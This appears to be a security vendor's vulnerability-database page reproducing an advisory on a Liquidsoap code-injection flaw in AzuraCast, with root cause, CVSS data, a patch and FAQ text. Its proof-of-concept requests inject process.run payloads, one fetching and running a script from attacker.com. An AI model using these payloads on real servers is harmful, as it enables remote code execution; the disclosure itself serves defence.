How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

413,619

Total vulnerabilities in the database

AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs — azuracast / azuracast

Improper Control of Generation of Code ('Code Injection')

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace([&#039;&quot;&#039;, &quot;\n&quot;, &quot;\r&quot;], [&#039;\&#039;&#039;, &#039;&#039;, &#039;&#039;], $string ?? &#039;&#039;);
}

This function only replaces " with ' and strips newlines. It does NOT filter:

#{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
\ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

| Field | Permission Required | Config Line | |---|---|---| | playlist.remote_url | Media | input.http("...") or playlist("...") | | station.name | Profile | name = "..." | | station.description | Profile | description = "..." | | station.genre | Profile | genre = "..." | | station.url | Profile | url = "..." | | backend_config.live_broadcast_text | Profile | settings.azuracast.live_broadcast_text := "..." | | backend_config.dj_mount_point | Profile | input.harbor("...") |

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer &lt;API_KEY_WITH_MEDIA_PERMISSION&gt;

{
    &quot;name&quot;: &quot;Malicious Remote&quot;,
    &quot;source&quot;: &quot;remote_url&quot;,
    &quot;remote_url&quot;: &quot;http://x#{process.run(&#039;id &gt; /tmp/pwned&#039;)}.example.com/stream&quot;,
    &quot;remote_type&quot;: &quot;stream&quot;,
    &quot;is_enabled&quot;: true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http(&quot;http://x#{process.run(&#039;id &gt; /tmp/pwned&#039;)}.example.com/stream&quot;)))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer &lt;API_KEY_WITH_PROFILE_PERMISSION&gt;

{
    &quot;name&quot;: &quot;My Station&quot;,
    &quot;description&quot;: &quot;#{process.run(&#039;curl http://attacker.com/shell.sh | sh&#039;)}&quot;
}

Generates:

description = &quot;#{process.run(&#039;curl http://attacker.com/shell.sh | sh&#039;)}&quot;

Trigger Condition

The injection fires when the station is restarted, which happens during:

Normal station restart by any user with Broadcasting permission
System updates and maintenance
azuracast:radio:restart CLI command
Docker container restarts

Impact

Severity: Critical
Authentication: Required — any station-level user with Media or Profile permission
Impact: Full RCE on the AzuraCast server as the azuracast user
CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        [&#039;&quot;&#039;, &quot;\n&quot;, &quot;\r&quot;, &#039;\\&#039;, &#039;#&#039;],
        [&#039;\&#039;&#039;, &#039;&#039;, &#039;&#039;, &#039;\\\\&#039;, &#039;\\#&#039;],
        $string ?? &#039;&#039;
    );
}

Published: Mar 9, 2026
Updated: Mar 10, 2026
GHSA: GHSA-93fx-5qgc-wr38
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.7
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CWEs:

CWE-94

Affected Software
References

Software	Affected versions
azuracast / azuracast	`< 0.23.4`

Is azuracast exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.